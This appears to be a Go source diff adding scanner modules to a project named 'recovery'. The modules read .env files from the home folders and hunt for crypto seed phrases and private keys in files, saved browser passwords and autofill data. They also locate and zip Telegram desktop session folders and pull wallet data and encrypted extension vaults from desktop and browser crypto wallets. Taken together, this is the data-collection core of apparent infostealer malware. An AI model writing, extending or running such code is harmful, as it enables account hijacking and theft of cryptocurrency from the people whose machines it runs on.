searchDirs := []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
for _, dir := range searchDirs {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if name != ".env" && !strings.HasPrefix(name, ".env.") {
continue
}
path := filepath.Join(dir, name)
info, err := e.Info()
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "env",
Name: name,
Path: path,
Size: info.Size(),
Content: string(data),
})
}
}
return results
}
@@ -0,0 +1,7 @@
package scanner
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[scanner] "+format, args...)
}
@@ -0,0 +1,274 @@
package scanner
import (
"os"
"regexp"
"strings"
"recovery/recovery/types"
)
// BIP39-valid word counts
var validSeedLengths = map[int]bool{
12: true, 15: true, 18: true, 21: true, 24: true,
}
const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB
var seedScanFileExts = map[string]bool{
".txt": true, ".md": true, ".csv": true, ".tsv": true,
".log": true, ".rtf": true, ".json": true, ".xml": true,
".env": true, ".cfg": true, ".conf": true, ".ini": true,
".bak": true, ".old": true, ".tmp": true, ".note": true,
".doc": true, ".nfo": true, ".asc": true, ".key": true,
".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true,
}
// contentScanExts are the text formats read during the file listing scan to
// look for sensitive plaintext (BIP39 seed phrases, PEM private keys).
var contentScanExts = seedScanFileExts
// privateKeyRe matches PEM private-key header lines. The optional algorithm
// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form.
var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`)
// contentFileTags reads a small text file once and returns the security tags
// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it
// contains a PEM private-key header. Returns nil when the file is not a
// recognized text format or is too large to scan.
func contentFileTags(path, ext string, size int64) []string {
if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
var tags []string
content := strings.ToLower(string(data))
if looksLikeSeedLine(strings.Fields(content)) {
tags = append(tags, "seed")
} else {
for _, line := range strings.Split(content, "\n") {
if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) {
tags = append(tags, "seed")
break
}
}
}
// PEM headers are case-sensitive, so match against the raw bytes.
if privateKeyRe.Match(data) {
tags = append(tags, "key")
}
return tags
}
// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists
var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`)
// ScanSeeds searches collected data for BIP39 seed phrases.
// Checks file contents, password values, and autofill values.
func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult {
seen := make(map[string]bool)
var results []types.SeedResult
// Scan files
for _, f := range files {
if f.Size > seedScanMaxFileSize || f.Size == 0 {
continue
}
if !seedScanFileExts[f.Ext] {
continue
}
data, err := os.ReadFile(f.Path)
if err != nil {
continue
}
for _, phrase := range extractSeedPhrases(string(data)) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "file",
Path: f.Path,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
// Scan passwords
for _, p := range passwords {
for _, phrase := range extractSeedPhrases(p.Password) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "password",
Path: p.URL,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
for _, phrase := range extractSeedPhrases(p.Username) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "password",
Path: p.URL,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
// Scan autofill values
for _, a := range autofill {
for _, phrase := range extractSeedPhrases(a.Value) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "autofill",
Path: a.Name,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
return results
}
// extractSeedPhrases finds all BIP39-like seed phrases in text content.
// Handles: space-separated, comma-separated, numbered lists, newline-separated.
func extractSeedPhrases(content string) []string {
if len(content) == 0 {
return nil
}
content = strings.ToLower(content)
var found []string
// Strategy 1: full content as one phrase (file contains only the seed)
if phrase := tryExtractPhrase(content); phrase != "" {
found = append(found, phrase)
return found
}
// Strategy 2: line-by-line (seed on one line)
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
if line == "" {
continue
}
if phrase := tryExtractPhrase(line); phrase != "" {
found = append(found, phrase)
}
}
// Strategy 3: numbered list — collect words from "1. word\n2. word\n..."
if phrase := tryNumberedList(content); phrase != "" {
if !containsPhrase(found, phrase) {
found = append(found, phrase)
}
}
// Strategy 4: comma-separated words
if strings.Contains(content, ",") {
normalized := strings.ReplaceAll(content, ",", " ")
if phrase := tryExtractPhrase(normalized); phrase != "" {
if !containsPhrase(found, phrase) {
found = append(found, phrase)
}
}
}
return found
}
// tryExtractPhrase checks if text contains a valid seed phrase
func tryExtractPhrase(text string) string {
words := strings.Fields(text)
if isValidSeedPhrase(words) {
return strings.Join(words, " ")
}
// Try sliding window for phrases embedded in longer text
for _, count := range []int{24, 21, 18, 15, 12} {
if len(words) < count {
continue
}
for i := 0; i <= len(words)-count; i++ {
window := words[i : i+count]
if isValidSeedPhrase(window) {
return strings.Join(window, " ")
}
}
}
return ""
}
// tryNumberedList extracts words from numbered list format:
// "1. abandon\n2. ability\n3. able\n..."
func tryNumberedList(content string) string {
lines := strings.Split(content, "\n")
var words []string
for _, line := range lines {
line = strings.TrimSpace(line)
if line == "" {
continue
}
cleaned := numberedLineRe.ReplaceAllString(line, "")
cleaned = strings.TrimSpace(cleaned)
if cleaned == "" {
continue
}
// Each numbered line should have exactly one word
lineWords := strings.Fields(cleaned)
if len(lineWords) == 1 && isBIP39Word(lineWords[0]) {
words = append(words, lineWords[0])
}
}
if isValidSeedPhrase(words) {
return strings.Join(words, " ")
}
return ""
}
func isValidSeedPhrase(words []string) bool {
if !validSeedLengths[len(words)] {
return false
}
for _, w := range words {
if !isBIP39Word(w) {
return false
}
}
return true
}
// isBIP39Word checks if a word matches BIP39 characteristics:
// lowercase a-z only, 3-8 characters.
func isBIP39Word(w string) bool {
if len(w) < 3 || len(w) > 8 {
return false
}
for _, c := range w {
if c < 'a' || c > 'z' {
return false
}
}
return true
}
func containsPhrase(phrases []string, phrase string) bool {
for _, p := range phrases {
if p == phrase {
return true
}
}
return false
}
@@ -0,0 +1,234 @@
package scanner
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type telegramPathConfig struct {
name string
subPath string
base string
}
var tdataSessionFiles = map[string]bool{
"key_datas": true,
"usertag": true,
"settings0": true,
"settings1": true,
"configs": true,
}
func isTdataSessionDir(name string) bool {
if len(name) != 16 {
return false
}
for _, c := range name {
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
return false
}
}
return true
}
func ScanTelegram() []types.TelegramResult {
var results []types.TelegramResult
for _, tp := range getTelegramPaths() {
base := resolveTelegramBase(tp.base)
if base == "" {
continue
}
tdataDir := filepath.Join(base, tp.subPath)
if _, err := os.Stat(tdataDir); err != nil {
continue
}
accounts := findTelegramAccounts(tdataDir)
for _, acc := range accounts {
results = append(results, types.TelegramResult{
Account: acc.account,
Path: acc.path,
Files: acc.files,
Size: acc.size,
})
}
}
return results
}
type telegramAccount struct {
account string
path string
files int
size int64
}
func findTelegramAccounts(tdataDir string) []telegramAccount {
var accounts []telegramAccount
entries, err := os.ReadDir(tdataDir)
if err != nil {
return nil
}
hasKeyData := false
for _, e := range entries {
if !e.IsDir() && e.Name() == "key_datas" {
hasKeyData = true
break
}
}
if hasKeyData {
files, size := countTdataFiles(tdataDir)
if files > 0 {
accounts = append(accounts, telegramAccount{
account: "Main",
path: tdataDir,
files: files,
size: size,
})
}
}
for _, e := range entries {
if !e.IsDir() {
continue
}
name := e.Name()
if !isTdataSessionDir(name) {
continue
}
sessionDir := filepath.Join(tdataDir, name)
sessionEntries, err := os.ReadDir(sessionDir)
if err != nil {
continue
}
hasData := false
for _, se := range sessionEntries {
if !se.IsDir() {
hasData = true
break
}
}
if hasData {
files, size := countTdataSessionFiles(sessionDir)
accounts = append(accounts, telegramAccount{
account: name,
path: sessionDir,
files: files,
size: size,
})
}
}
return accounts
}
func countTdataFiles(tdataDir string) (int, int64) {
var count int
var totalSize int64
entries, err := os.ReadDir(tdataDir)
if err != nil {
return 0, 0
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] {
info, err := e.Info()
if err != nil {
continue
}
count++
totalSize += info.Size()
}
}
return count, totalSize
}
func countTdataSessionFiles(dir string) (int, int64) {
var count int
var totalSize int64
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
count++
totalSize += info.Size()
return nil
})
return count, totalSize
}
func ZipTelegram(path string) ([]byte, error) {
info, err := os.Stat(path)
if err != nil {
return nil, err
}
if !info.IsDir() {
return nil, os.ErrNotExist
}
// If this is a session subfolder (hex name), just zip its contents directly
if isTdataSessionDir(filepath.Base(path)) {
return ziputil.ZipDirectory(path)
}
// Otherwise this is the tdata root — zip key files + session subdirs
return zipTdataRoot(path)
}
func zipTdataRoot(tdataDir string) ([]byte, error) {
entries, err := os.ReadDir(tdataDir)
if err != nil {
return nil, err
}
var filesToZip []string
for _, e := range entries {
name := e.Name()
if e.IsDir() {
if isTdataSessionDir(name) {
sessionDir := filepath.Join(tdataDir, name)
filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
if info.Size() < 50*1024*1024 {
filesToZip = append(filesToZip, path)
}
return nil
})
}
} else {
if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") {
info, _ := e.Info()
if info != nil && info.Size() < 50*1024*1024 {
filesToZip = append(filesToZip, filepath.Join(tdataDir, name))
}
}
}
}
if len(filesToZip) == 0 {
return nil, os.ErrNotExist
}
return ziputil.ZipFiles(filesToZip, tdataDir)
}
@@ -0,0 +1,51 @@
//go:build !windows
package scanner
import (
"os"
"path/filepath"
"runtime"
)
func getTelegramPaths() []telegramPathConfig {
if runtime.GOOS == "darwin" {
return []telegramPathConfig{
{"Telegram Desktop", "Telegram Desktop/tdata", "appdata"},
{"Kotatogram", "Kotatogram Desktop/tdata", "appdata"},
{"64Gram", "64Gram Desktop/tdata", "appdata"},
}
}
// Linux
return []telegramPathConfig{
{"Telegram Desktop", "TelegramDesktop/tdata", "home_data"},
{"Telegram Desktop (flatpak)", ".var/app/org.telegram.desktop/data/TelegramDesktop/tdata", "home"},
{"Telegram Desktop (snap)", "snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata", "home"},
{"Kotatogram", "KotatogramDesktop/tdata", "home_data"},
{"64Gram", "64Gram Desktop/tdata", "home_data"},
}
}
func resolveTelegramBase(base string) string {
home, _ := os.UserHomeDir()
switch base {
case "home":
return home
case "home_data":
xdg := os.Getenv("XDG_DATA_HOME")
if xdg != "" {
return xdg
}
return filepath.Join(home, ".local", "share")
case "appdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".config")
case "localappdata":
return filepath.Join(home, ".local", "share")
case "userprofile":
return home
}
return ""
}
@@ -0,0 +1,27 @@
//go:build windows
package scanner
import "os"
func getTelegramPaths() []telegramPathConfig {
return []telegramPathConfig{
{"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"},
{"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"},
{"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"},
{"64Gram", `64Gram Desktop\tdata`, "appdata"},
{"Unigram", `Unigram\$local\tdata`, "localappdata"},
}
}
func resolveTelegramBase(base string) string {
switch base {
case "appdata":
return os.Getenv("APPDATA")
case "localappdata":
return os.Getenv("LOCALAPPDATA")
case "userprofile":
return os.Getenv("USERPROFILE")
}
return ""
}
@@ -0,0 +1,179 @@
package scanner
import (
"bufio"
"fmt"
"os"
"path/filepath"
"regexp"
"strings"
"recovery/recovery/browser"
"recovery/recovery/types"
)
type walletConfig struct {
Name string
SubPath string
Base string // "appdata", "localappdata", "userprofile", "home"
}
var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`)
var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`)
const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file
const maxAddresses = 50
func ScanWallets() []types.WalletResult {
var results []types.WalletResult
results = append(results, scanDesktopWallets()...)
results = append(results, scanBrowserWalletData()...)
return results
}
func scanDesktopWallets() []types.WalletResult {
var results []types.WalletResult
for _, w := range getDesktopWalletPaths() {
base := resolveWalletBase(w.Base)
if base == "" {
continue
}
dir := filepath.Join(base, w.SubPath)
info, err := os.Stat(dir)
if err != nil || !info.IsDir() {
continue
}
files, totalSize := countDirContents(dir)
if files == 0 {
continue
}
wr := types.WalletResult{
Name: w.Name,
Type: "desktop",
Path: dir,
Files: files,
Size: totalSize,
}
wr.Addresses = extractAddressesFromDir(dir)
results = append(results, wr)
}
return results
}
func scanBrowserWalletData() []types.WalletResult {
var results []types.WalletResult
for _, cfg := range browser.Browsers {
if cfg.IsFirefox {
continue
}
profiles := browser.FindProfileDirs(cfg)
for _, profile := range profiles {
lesDir := filepath.Join(profile.Path, "Local Extension Settings")
for extID, walletName := range knownWalletExtensions {
extDataDir := filepath.Join(lesDir, extID)
info, err := os.Stat(extDataDir)
if err != nil || !info.IsDir() {
continue
}
files, totalSize := countDirContents(extDataDir)
if files == 0 {
continue
}
wr := types.WalletResult{
Name: fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name),
Type: "extension",
Path: extDataDir,
Files: files,
Size: totalSize,
}
wr.Addresses = extractAddressesFromDir(extDataDir)
wr.VaultData = extractVaultData(extDataDir)
results = append(results, wr)
}
}
}
return results
}
func extractAddressesFromDir(dir string) []string {
seen := make(map[string]bool)
var addrs []string
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize {
return nil
}
if len(addrs) >= maxAddresses {
return filepath.SkipAll
}
f, err := os.Open(path)
if err != nil {
return nil
}
defer f.Close()
scanner := bufio.NewScanner(f)
scanner.Buffer(make([]byte, 256*1024), 256*1024)
for scanner.Scan() {
matches := ethAddrRe.FindAllString(scanner.Text(), -1)
for _, m := range matches {
addr := strings.ToLower(m)
if !seen[addr] {
seen[addr] = true
addrs = append(addrs, m)
if len(addrs) >= maxAddresses {
return filepath.SkipAll
}
}
}
}
return nil
})
return addrs
}
func extractVaultData(dir string) string {
var vault string
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() || vault != "" {
return nil
}
ext := strings.ToLower(filepath.Ext(path))
if ext != ".ldb" && ext != ".log" {
return nil
}
if info.Size() == 0 || info.Size() > maxFileReadSize {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
match := vaultRe.Find(data)
if match != nil {
vault = string(match)
return filepath.SkipAll
}
return nil
})
return vault
}
func countDirContents(dir string) (int, int64) {
var count int
var totalSize int64
filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
count++
totalSize += info.Size()
return nil
})
return count, totalSize
}
@@ -0,0 +1,60 @@
//go:build !windows
package scanner
import (
"os"
"path/filepath"
"runtime"
)
func getDesktopWalletPaths() []walletConfig {
if runtime.GOOS == "darwin" {
return []walletConfig{
{"Atomic", "atomic/Local Storage/leveldb", "appdata"},
{"Exodus", "Exodus/exodus.wallet", "appdata"},
{"Electrum", "Electrum/wallets", "home_dot"},
{"Ethereum", "Ethereum/keystore", "home_dot"},
{"Coinomi", "Coinomi/wallets", "appdata"},
}
}
// Linux
return []walletConfig{
{"Atomic", "atomic/Local Storage/leveldb", "config"},
{"Exodus", "Exodus/exodus.wallet", "config"},
{"Electrum", ".electrum/wallets", "home"},
{"Electrum-LTC", ".electrum-ltc/wallets", "home"},
{"Ethereum", ".ethereum/keystore", "home"},
{"Monero", "Monero/wallets", "home"},
{"Armory", ".armory", "home"},
{"Bytecoin", ".bytecoin", "home"},
{"Coinomi", ".coinomi/Coinomi/wallets", "home"},
}
}
func resolveWalletBase(base string) string {
home, _ := os.UserHomeDir()
switch base {
case "home", "userprofile":
return home
case "home_dot":
return filepath.Join(home, ".")
case "appdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".config")
case "config":
xdg := os.Getenv("XDG_CONFIG_HOME")
if xdg != "" {
return xdg
}
return filepath.Join(home, ".config")
case "localappdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".local", "share")
}
return ""
}
@@ -0,0 +1,37 @@
//go:build windows
package scanner
import "os"
func getDesktopWalletPaths() []walletConfig {
return []walletConfig{
{"Atomic", `atomic\Local Storage\leveldb`, "appdata"},
{"Exodus", `Exodus\exodus.wallet`, "appdata"},
{"Electrum", `Electrum\wallets`, "appdata"},
{"Electrum-LTC", `Electrum-LTC\wallets`, "appdata"},
{"Zcash", `Zcash`, "appdata"},
{"Armory", `Armory`, "appdata"},
{"Bytecoin", `bytecoin`, "appdata"},
{"Jaxx", `com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb`, "appdata"},
{"Ethereum", `Ethereum\keystore`, "appdata"},
{"Guarda", `Guarda\Local Storage\leveldb`, "appdata"},
{"Coinomi", `Coinomi\Coinomi\wallets`, "appdata"},
{"Monero", `Documents\Monero\wallets`, "userprofile"},
}
}
func resolveWalletBase(base string) string {
switch base {
case "appdata":
return os.Getenv("APPDATA")
case "localappdata":
return os.Getenv("LOCALAPPDATA")
case "userprofile":
return os.Getenv("USERPROFILE")
case "home":
home, _ := os.UserHomeDir()
return home
}
return ""
}